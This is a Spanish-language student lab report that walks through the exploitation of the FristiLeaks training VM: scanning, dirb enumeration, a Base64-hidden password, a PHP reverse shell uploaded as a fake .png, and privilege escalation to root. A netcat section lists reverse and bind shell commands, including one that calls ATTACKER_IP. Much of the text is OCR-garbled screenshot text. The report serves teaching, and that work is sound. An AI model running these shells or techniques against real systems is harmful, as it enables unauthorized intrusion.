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INTRODUCCION
(La seguridad informatica constituye un eje fundamental en la administracion de sistemas y
redes. El avance de las amenazas cibernéticas ha obligado a las organizaciones a fortalecer sus
mecanismos de defensa, pero también ha generado la necesidad de comprender coémo acttan los
atacantes. En este contexto, el uso de laboratorios controlados permite a los estudiantes y
profesionales practicar técnicas ofensivas con fines educativos y de investigacion.)
En esta practica de la materia de Auditoria y Seguridad de Redes trabajamos con una maquina
virtual vulnerable llamada FristiLeaks, la cual se ejecut6 en VirtualBox junto con Kali Linux
para hacer pruebas de ataque y defensa. El propdsito fue aprender como se configuran los
entornos virtuales, reconocer servicios y vulnerabilidades en la red y, finalmente, intentar
explotar la maquina victima para obtener acceso a ella.
Durante la actividad realizamos varias etapas: primero la configuracién de la red en VirtualBox,
luego el reconocimiento de la maquina FristiLeaks con comandos basicos como ping y nmap,
después el analisis de directorios y paginas web con la herramienta dirb, y finalmente la
explotacion a través de una vulnerabilidad de subida de archivos que permitio ejecutar un
archivo malicioso y asi obtener conexion remota con la maquina.
Ademas, como parte de la practica, también debimos investigar y aplicar algunos comandos de
Linux y Netcat, asi como la creacién de usuarios dentro de la maquina virtual para completar el

ejercicio.



ALCANCE
El alcance de esta practica estuvo orientado a poner en funcionamiento un entorno de laboratorio
controlado y aplicar técnicas basicas de auditoria y seguridad de redes. Se trabajé
especificamente con la maquina FristiLeaks para identificar fallos y explotarlos, entendiendo
cdémo un atacante puede aprovecharse de una configuracion insegura.
Con esto se logro abarcar desde la preparacion del entorno en VirtualBox, la exploracién inicial
con herramientas de red, el analisis de directorios web, hasta la explotacién de una
vulnerabilidad de subida de archivos que permitié establecer acceso remoto.
De manera complementaria, también se incluyeron tareas adicionales como la préactica de
comandos de Linux, el uso de Netcat para conexiones, y la creacion de usuarios en la maquina,
lo que permitid reforzar tanto el aspecto técnico como el entendimiento de las buenas précticas

de seguridad.



OBJETIVOS GENERALES
Desarrollar una practica de auditoria y seguridad de redes en un entorno controlado con la
maquina virtual FristiLeaks y con Kali Linux, con el fin de identificar vulnerabilidades,
explotarlas de manera ética y comprender los riesgos asociados a configuraciones inseguras en

sistemas Yy aplicaciones web.
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OBJETIVOS ESPECIFICOS
Configurar el entorno de laboratorio en VirtualBox utilizando Kali Linux y
FristiLeaks.
Realizar el reconocimiento de la maquina victima mediante comandos de red y
escaneo de puertos y servicios.
Analizar directorios y paginas web utilizando la herramienta dirb para descubrir
rutas ocultas o sensibles.
Explotar la vulnerabilidad de subida de archivos para obtener acceso remoto a la
maquina.
Investigar y aplicar comandos de Linux y Netcat Utiles para la administracion y
conexion de sistemas.
Crear usuarios dentro de la maquina virtual como parte del ejercicio de gestion y

control.
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PASO A PASO DE EXPLOTACION FRISTILEAKS CON KALI LINUX Y
METASPLOIT
Importar y preparar la VM (FristiLeaks)
Primero importamos fristileaks_1.3.ova en Oracle VirtualBox y ajustamos la VM.
Cambiamos la red a NAT vy actualizamos la MAC:
e MAC anterior: 08:00:27:DD:55:66

e MAC actual: 08:00:27:A5:A6:76

wg¢ FristiLeaks 1 - Settings

S a X
Basic M Search settings &£
! General Red
[ ) Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
B Sistema
B Habilitar adaptador de red
L! Pantalla
a Conectado a:  Red NAT v
'3'!/3 Almacenamiento Nombre: Semestre9 v
(]'\ Audio Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM) v
Modo promiscuo:  Permitir todo v
Red .
Direccién MAC: 080027A5A676 (=)
Qf Puertos serie B cable conectado
(7 use
Carpetas compartidas [RozriEse=is
- Puerto 1 Puerto 2 Puerto 3 Puerto 4
H Interfaz de usuario
(] Enable Serial Port
Invalid settings detected [} Aceptar Cancelar Ayuda

lHustracion 1: Configuracion FristiLeaks

También desactivamos I/0 APIC porque eso fue lo que nos indico la practica.



12

'
£h = ! N
Herramientas :,‘w‘é .= W 5 -
: MNueva Anadic  Confiquracién  Cescartar  Inicias

68 Parrot
W Apagada

o+ Fristileaks 1 - Settings

ﬁ Kali Linux B e Sroaid
) Apagada 2
: Metasploitable2 .
E1 |ew Mermoria base: 512MB =
4 & apagada . Pantalls
4MB 18432 MB
&3 ':r"'d‘""’xP 4 Almacenamiento Orden de arranque: i3 1] Disquete
¥ Apagada e B ') Optica

o | Audio B & Disco duro
64l | windows 2003 & red

O npagada o Red

Chipset: FIX3
ubuntu 1 Puertos serle TPM: Hinguno
‘ (U] Apagada
UsSE Dispositivo apuntador: Ratdn P52

x5 FristiLeaks 1 - i Caracteristicas extendidas: Habilitar 110 APIC

Iy Carpetas compartidas

£ Apagada — B Habilitar reloj hardware en tiempo UTC

FT| Interfaz de usuario Habsilitar EF (s$lo SO especiales)
Inwalid settings detected B} Acoptar Cancelar Ayuda
L use
Controlador USE: OHC

Filtros de dispositives: 0 (0 active)

lustracion 2 Configuracion FristiLeaks 1

Comprobacion basica de conectividad

La méaquina atacante Kali Linux estaba en 10.10.2.4. Desde Kali primero hicimos ping para

confirmar que la victima respondia:

lustracion 3 ping 10.10.2.9

Con esto confirmamos que ambas maquinas estaban en la misma red y podiamos seguir con el

reconocimiento.

Escaneo de red y servicios
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Ejecutamos un escaneo de la subred para ver hosts y servicios:

((Win64) Ope

lustracion 4 nmap -sV 10.10.2.0

Con nmap detectamos los puertos y servicios disponibles en la red 10.10.2.0 (esto nos dio la

primera idea de qué servicios investigar con mas profundidad).

Acceso web y revision del codigo fuente

Abrimos http://10.10.2.9/ en el navegador de Kali y observamos un sitio web simple.



KEEP

CALM
DRINK
FRISTI

=3 - = & U & (&) CTRL DERECHA
lustracion 5 http://10.10.2.9/

Con clic derecho damos seleccionamos la opcidn para revisar el cddigo fuente de la pagina para

buscar pistas y puntos de entrada (comentarios, cadenas codificadas, rutas).

Kali Linux [Ce
A

@ g 51 & [ & [#] cTRL DERECHA

lustracion 6 codigo fuente http://10.10.2.9/
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Busqueda de directorios con dirb

Hicimos un escaneo de directorios con dirb usando la lista por defecto y luego small.txt:

END_TIM
DOWNLOADED

TABLE. No need to
to scan it anyw

lHustracion 7 dirb http://10.10.2.9/

dirb encontrd entre otras cosas: /index.html - /robots.txt - /small.txt y lo mas importante: /fristi/,

que contenia un formulario de login.

Ingreso a /fristi/ y extraccion de credenciales



[l Kali Linux [Corienda] - Orack: VirtualBax = o x

Welcome to #fristileaks admin portal

Member Login
Username :

Password :

G o O (8] e peREcHs
lustracion 8 http://10.10.2.9/ fristi

Al inspeccionar el codigo en /fristi/ vimos una cadena de una imagen embebida en Base64

(data:img/png;base64,...).

Hacking DB

llustracion 9 codigo fuente http://10.10.2.9/ fristi
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Decodificamos esa cadena (usando herramientas online de decodificacion base64 y base64 -d
localmente) y conseguimos la contrasefia que estaba oculta:

keKkeKKeKKeKKkEkkEk

&« > C 2% baseb4decode.org B % B o3 A . E

22 @ Gmal @ YouTube @ Maps By Traducr ) logospng 4k localhost /127.001.. [ Metodologfa de la.. [ Todos los favoritos

UTF-8 v Conjunto de caracteres de origen.
Decodifica cada linea por separado (Uil cuando tienes varias entradas).

@ Medo en vivo desactivado  Decodifica en tiempo real mientras escribe o pega (solo admite el conjunto de caracteres
UTF.8).

Ll =-Telelel[S[o ARl Descodifica tus datos en el drea que aparece a continuacion.

PNG
o

€900

IHDRGOTMOGOKICHHHIAGPHTRCBOTOH O GAVAGOTaT 9@  pHYsOHTH9IT0de9TRID
ATx"Qv DalzI&I%KH@f455VIs~O O OED"GOx# I 00AD 0090 D DEO"GOX# 0 0 DAD DO D90 OOED"GOx# 100
ADD/D&T3h#3T)0 C~0 02~8Zel 1ZZ0UWSoy{K)P DO T{BXKKL>a%ZD$B501:40VKKL>6 TKZHn
"%8&Rxg)IV3JfiqpzR\Zb  JHE09r(CISseGXg" Ik6jD Cg=YxibBej3H- Y HEIXD7(IM6

FnT3WHaj0 DTMIBoD3CMJHSZIZGYdM o6 TroRT/-05MLiglbYDI!

0TI OWKHTh}d [T5!Nus-HY,C-GR Kj\g} <g.Nus-0VE_uZ#| 1 AKGEDKHT

9CHP40pOOT]OISA2NKGIOb#I* (ORCJZ$C#+C0'LE 9010 >UBR'35d0 e 00)0'ZUgF>LZ00[Z040LZRYD O
S;|DR-ThFEZT_>sdTabm(.0UMNT|T/0ZZ00=#iT_>Trd+?87j0-)RU#D[00/009000E " GOx#I00AD D/
r009000ED"GOx#0 00000 09000ED " GOx#0000 0/r009000EDDZ8q&-¢-¢9IENDB = Codificacién de URL

¢ Otras herramientas

Descodificacion de URL

1B Copiar al portapapeles Minificar JSON

Decodificar archivos del formato Base64 Embellecer JSON
Seleccione un archivo para cargar y procesar, luego podra descargar el resultado decodificado.
Minificar JS

JS Beautify -
@ Privacidad

lustracion 10 base64code.org

& 3 €@ % onlinepngtoolscom/convert-basesd-to-png B B g L @

28 @ Gmail B YouTube @ Maps B Traduer € logospng Wb localhost /127001, [ Metodologia dela... [0 Todos los favoritos

-

Entrada Base64 @ Salida PNG .

toﬂad:ys rzdddsdl PWisulDLUdSpdEskSvSatqglxnf 8B tu/PZy 7V HXIMC 21HO 1WVBEF
:;z:;ksyﬂfgsfn EG41NOcoIUnYSdqxrhkeIZKezwdhng FrvEADUNS sSWDEUMYRSZT2E+1nD
;rljiz 2uF INWNcHmhL zUe2vEn/ dAWG+mLNSKGWISECK sM) 1 606+ecHEdvaUudPnkqDl2rGu
:igﬂi:rfﬁggqa,'m!qnﬁ LuSTgF7fYU7tgsn/d+zFhVEaiilscz1GrGvGTI1sL LhiPbnhEKn
LDU12g

ﬁ;gs&wnp\wﬂl Rj7erEz@WqoZ+5IRW10XNE3Z/ vEMHUlSFYlm+hDLkcTAtUHEUZU/15 ke K ke K Ke K Ke K kE k kE k

rPtAs1mL 182 rqXEguid7alukRkVay1RFgpk+9HNkHES hNoc TKCAP31VebhdBFfy /VzOTCkael
WirrFhe

EPAMO35Sys7XVF+qmTSUcmTS+5s/ / fyyOLU3kWoGLdS9ZKbEUs18TZMiAPSbSARALSTERS
cSASCLH

AHERY4ABCIHAHIRIWC By BEAXUQTACSYBIAXOQL AL xwBAEWOAP AL RWBAkSMAVMERAF TRCAAY
cgSAFzk
CwIscAeBFjgDwIkcAelEjALZIEQBeSARALSIEEBCSASCLHAHERYAABPNI/QNa7zik1gtycQ
AAAABIR

USErkIggg==

Importar desde
archivo

Guardar como... Copiar al portapapeles

mm@iee s un convertidor de Base64 a PNG? S o Wk &

{¥ nuevas funciones! convierte imagenes PNG previamente codificadas en base64 a imagenes PNG reales

lustracion 11 onlinepngtools.com
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Con esas credenciales ingresamos al formulario del sitio.

Welcome to #fristileaks admin portal

Membsr 1egin
[ I —

P | ssmieststieauras

Boadsr. W EDEE s s

lustracion 12 http://10.10.2.9/ fristi logueo

Identificacion de la funcionalidad de subida de archivos, vimos que se permitia subir archivos en

formatos .png, .jpg vy .gif.
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G D o D ) Ty Dk
lustracion 13 cargue de shell(kali.php.png)

Detectamos que la validacion era insuficiente (se aceptaban archivos con esas extensiones sin

comprobar el contenido real), lo que constituye una vulnerabilidad de subida de archivos.

Preparacion del payload (archivo camuflado)

En Kali pasamos a buscar webshells disponibles en el sistema:

ra kali:
home/kal

el directorio: cd/usr/share/webshells

/home/kali
fusr/share/webshells

fusr/share/webshells

fusr/share/webshells
el fichero o el directoric: /php

/usr/share/webshells
fusr/share/webshells/php

fusr/share/webshells/php

php-backdoor.php php-re -shell.php gsd-php-backdoor.php simple-backd

lustracion 14 busqueda de wubshells
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Copiamos el php-reverse-shell.php al escritorio y lo renombramos para simular una
imagen(Hacemos esto porgue el formulario solo aceptaba archivos con extension de imagen; al

renombrarlo lo subimos camuflado como .png.):

fusr/share/webshells/php
php-reverse-shell.php fhome/kalifEscritorio

fusr/share/webshells/php
fhome/kalifEscritorio

fhome/kalifEscritorio
hell.php

fhome/kalifEscritorio
php-reverse-shell.php kalig.pphp.png

fhomefhali/Escritorie
kalig.pphp.png php ell.php

fhome/kalifEscritorio
kalig.php.png

fhomefhali/Escritorie
php-reverse-shell.php kali.php.png

fhome/kalifEscritorio

kalig.pphp.png kali.php.p

fhomefhali/Escritorie
kali.php.png

lustracion 16 configuracion del shell
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Listener en Kali y obtencion de la reverse shell

Antes de subir el archivo pusimos un listener con Netcat en Kali para recibir la conexion:

G o R B B 7Ry ks
lustracion 17 cargue del shell

Y después de subir y acceder al archivo desde el navegador (ejecutando el kali.php.png contra el

servidor), recibimos la conexion entrante:

/home/kali/Escritorio

* Tue Wov 18 1B!@1:3B UTC 2015 xB6_64 xB6_64 xB6_64 GNUSLinux

llustracion 18 conexion establecida a fristiLeaks

Con ifconfig dentro de la shell comprobamos los datos de red de la victima (IP, MAC):
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sh-4.1% ifconfig
ifconfig
eth@

lustracion 19ifconfig en FristiLeaks

Estado de la sesion y permisos

La shell obtenida estaba en el contexto del usuario apache (uid=48(apache)), es decir, no
teniamos privilegios root por defecto.

Desde ese contexto pudimos ejecutar comandos basicos y explorar el sistema, pero la creacion

directa de usuarios del sistema requiere privilegios root o sudo.

COMANDO PARA CALCULAR CUANTOS CARACTERES TIENE UN ARCHIVO EN
LINUX
Hay varias formas, pero la mas directa es con wc (word count).

Para contar caracteres: wc -m archivo.txt, eso te dice el nUmero total de caracteres.

Para contar lineas, palabras y caracteres a la vez: wc archivo.txt, el orden es: lineas, palabras,

caracteres.

COMANDOS DE NETCAT (NC)
Netcat es una utilidad de redes que se usa para leer y escribir en conexiones de red usando TCP o

UDP, permitiendo la creacidn de conexiones de red, transferencia de archivos, rastreo de puertos
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y depuracion de aplicaciones. Es una herramienta de linea de comandos que funciona como un
"backend" para otras aplicaciones y scripts, y aunque fue desarrollada originalmente para Unix,
ahora esta disponible para otras plataformas como Windows y macOS.
nc o Netcat se conoce como la navaja suiza de las redes porque sirve para todo: escuchar, enviar
datos, probar puertos, crear shells, etc.
Usos bésicos:
e Escuchar en un puerto (modo servidor): nc -lvp 4444 (-l escuchar, -v verbose, -p puerto).
e Conectarse a otro host (modo cliente): nc 192.168.1.10 4444
e Transferir un archivo (de cliente a servidor):
En el receptor: nc -lvp 4444 > archivo.txt
En el emisor: nc 192.168.1.10 4444 < archivo.txt
e Chat entre dos maquinas:
Méaquina 1: nc -lvp 1234
Maquina 2: nc 192.168.1.5 1234
e Escanear puertos de una maquina: nc -zv 192.168.1.5 20-100 (-z escaneo, -v verbose).
e Crear una reverse shell:
Victima ejecuta: bash -i >& /dev/tcp/ ATTACKER_IP/4444 0>&1
Atacante espera: nc -lvp 4444
e Bind shell (el atacante se conecta a la victima):
Victima: nc -lvp 4444 -e /bin/bash

Atacante: nc 192.168.1.5 4444
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CREACION DE USUARIOS EN FRISTILEAKS
el primer acceso que obtuve fue con el usuario apache, gracias a la explotacion inicial del
servicio web. Desde alli realicé la enumeracion y la escalada de privilegios necesarias hasta
llegar a root, ya que solamente con permisos de superusuario es posible crear nuevas cuentas en
el sistema.
1. Acceso inicial: usuario apache
Tras explotar la vulnerabilidad del servicio web accedi a una shell limitada como apache.
Verifiqué el contexto con:
whoami

Confirmé que estaba operando con los permisos del proceso web (apache), por lo que empecé la

fase de enumeracidn para localizar informacién sensible.

lustracion 20 whoami usuario apache

2. Revision de directorios de usuarios
Teniendo el usuario apache, revise los directorios en /home y encontré que podia listar y leer
algunos archivos del usuario eezeepz. También revisé directorios en /home y noté que podia leer

dentro de la carpeta eezeepz, lo cual no es normal en un entorno seguro.
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Esto fue clave, porque, aungue no tenia su Shell directamente, si podia inspeccionar rutas y

archivos sensibles.

lustracion 21 Revisién de directorio con apache

Para poder ejecutar comandos como admin de forma mas flexible, creé un script en Python
Ilamado cronjob.py, que simulaba la ejecucion periddica de instrucciones guardadas. Este script

revisaba el contenido de ese archivo y ejecutaba los comandos siempre que cumplieran
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condiciones especificas (por ejemplo, que iniciaran en /home/admin/ o /usr/bin/).

runthis

total 2@
drwxrwxrwt. 3 root root

X<r-x. 22 root root 5
drwxrwxrwt root root 4096 ¢ .ICE-unix
-FW-Y—-F-—— admin admin 6 7 cronresult
—IW-rw-Iw- apache apache c 7 runthis
sh-4.1% cat cronresult
cat cronresult

-R 777
-R 777

root root

2 root root .
admin admin 6 No 9 2015 admin
eezeepz  eezeepz 0 8 2 eezeepz
fristigod fristigod 6 9 2015 fristigod

lustracion 22creacion de un cronjob

Gracias a la ejecucion con cronjob.py, pude listar archivos sensibles en la carpeta de admin.
Alli encontré:
e cryptedpass.txt: contenia una contrasefia cifrada.

e cryptpass.py: mostraba cOmo se generaba el cifrado (Base64 invertido + ROT13).
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fcronresult’,’a’) as er:

('/usr/bin/"}:

le("command did not start with /home/admin or /usr/bin")

lustracion 23cronjob ejecutado

3. Obtencion de credenciales para admin
Dentro de esas rutas encontré informacion que me permitié obtener credenciales para el usuario
admin. Este salto fue posible porque apache tenia permisos indebidos de lectura en la carpeta de

eezeepz, lo cual representa una mala practica de seguridad.

llustracion 24 archivos de credenciales
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El script utilizaba una combinacion de Base64 y ROT13. Analizando el cddigo y aplicando el

proceso inverso, logré descifrar la contrasefia del usuario admin y el usuario fristigod.

‘N-ZA-Mn-za-m’ ec—

llustracion 25 descifracion de credenciales

4. Acceso como admin
Una vez que consegui la contrasefia de admin, me conecté a su cuenta.
El usuario admin tenia mas privilegios y me permiti6 acceder a archivos importantes para

continuar con la escalada.
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ThereBeFristilish-4.1% 1s

llustracién 26 whoami admin

5. Descifrado de la contrasefia de fristigod

Con la contrasefia ya obtenida, accedi al sistema como el usuario fristigod.
Este usuario estaba en una posicion privilegiada porgue tenia configuraciones que facilitaban la

escalada.

admingilocal
cd ..
[admin@localhost homel$ 1s
1s
admin@localhost home]$ 1s -al
ls 1

[
L
o
d
d
d
d
d
[

Password: LetThereBeFristi!

4.1% whoami

i

igod
bash-4.1% |}

lustracion 27 whoami fritigod

6. Escalada final a root
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Desde fristigod aproveché una configuracién insegura que me permitio ejecutar comandos como
root.

Esto me dio el control total del sistema. Revisé directorios del sistema como bin, etc, var, root.
Dentro de /var/fristigod encontraste algo sospechoso, estaba el archivo .bash_history y una

carpeta .secret_admin_stuff.

admin_stuff/doCom 1s /

admin_stuff/doCom

in_stuff/doCom

admin_stuff/doCom

/.secret_admin_stuff/doCom

lustracion 28 exploracion de directorio desde fristigod

Use el binario SUID para ejecutar comandos, este es un archivo ejecutable en Linux/Unix con un
permiso especial que hace que, al ejecutarse, se ejecute con los permisos del propietario del

archivo en vez de con los permisos del usuario que lo corre.
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bash-4.1% sudo -u fristi /var/fristig ecret_admin_stuff/doCom 1s /
s /

sudo -u fristi /var/frist f . 56 i f/doCom 1
[sudo] password for 1 Le i

bin dev home 1libe4 media opt root selinux sys usr

boot e 1lib lost+found mnt proc sbin srv tmp r

bash-4. sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom/bin/bash
sudo -u sti /var/ t_admin_stuff/doCom/bin/bash

sudo: / Com/bin/bash: co nd not found
bash-4.1% i ffristigod/. et_admin_stuff/doCom /bin/bash
sudo -u fristi / fristigod/.secre ash
bash-4.1# whoami

whoami

root

bash-4.1# 1s/home

1s/home

bash: ls/home: No such file or directory

bash-4.1# 1s /home

1s /home

admin eeze fristigod

llustracion 29

Y devolvid root.
7. Creacion de los nuevos usuarios
Finalmente, con privilegios de root, ejecuté los siguientes comandos para crear los dos usuarios

solicitados:

llustracion 30 Creacién de usuarios
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GLOSARIO

Apache: Servidor web de cddigo abierto que permite alojar y servir paginas web. En esta
practica, fue el servicio explotado para obtener acceso inicial.

Base64: Método de codificacion que convierte datos binarios en texto ASCII. Se usé para
ocultar credenciales dentro de imégenes y cédigo fuente.

Cron: Servicio en sistemas Linux que permite ejecutar tareas programadas
automaticamente en intervalos de tiempo definidos.

Dirb: Herramienta de fuerza bruta para descubrir directorios y archivos ocultos en
servidores web.

Exploit: Cdodigo o técnica que aprovecha una vulnerabilidad en un sistema para alterar su
comportamiento o ganar acceso.

FristiLeaks: Maquina virtual vulnerable disefiada con fines educativos para practicar
explotacion y escalada de privilegios.

Netcat (nc): Herramienta de red conocida como la “navaja suiza” que permite escuchar,
conectarse a puertos, transferir archivos y crear shells remotas.

Reverse Shell: Conexion en la que la maquina victima se conecta de vuelta al atacante,
permitiendo control remoto.

SUID (Set User ID): Permiso especial en archivos ejecutables que hace que el programa
se ejecute con los privilegios de su propietario (generalmente root), aunque lo ejecute
otro usuario.

VirtualBox: Software de virtualizacion que permite correr varios sistemas operativos

como maquinas virtuales en un mismo equipo fisico.
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CONCLUSIONES

En general, esta practica me sirvié mucho porque entendi paso a paso cdmo es que un
atacante puede empezar desde algo tan basico como revisar directorios o el codigo fuente de una
pagina hasta llegar a tener acceso completo a la maquina. Al principio pensé que era demasiado
técnico y complicado, pero en el proceso me di cuenta de que, con paciencia y probando los
comandos, se va entendiendo la l6gica detras de cada accion. Algo que me parecid clave fue el
uso de herramientas como nc y dirb, que aunque parecen simples, realmente muestran mucha
informacidn valiosa. También me Ilamé la atencién como puede ser escalar privilegios cuando
los permisos no estan bien configurados. En conclusion, siento que logré comprender mejor
cémo funciona una intrusion real y también la importancia de implementar medidas de seguridad

para evitar que algo asi pase en un sistema en entornos reales.
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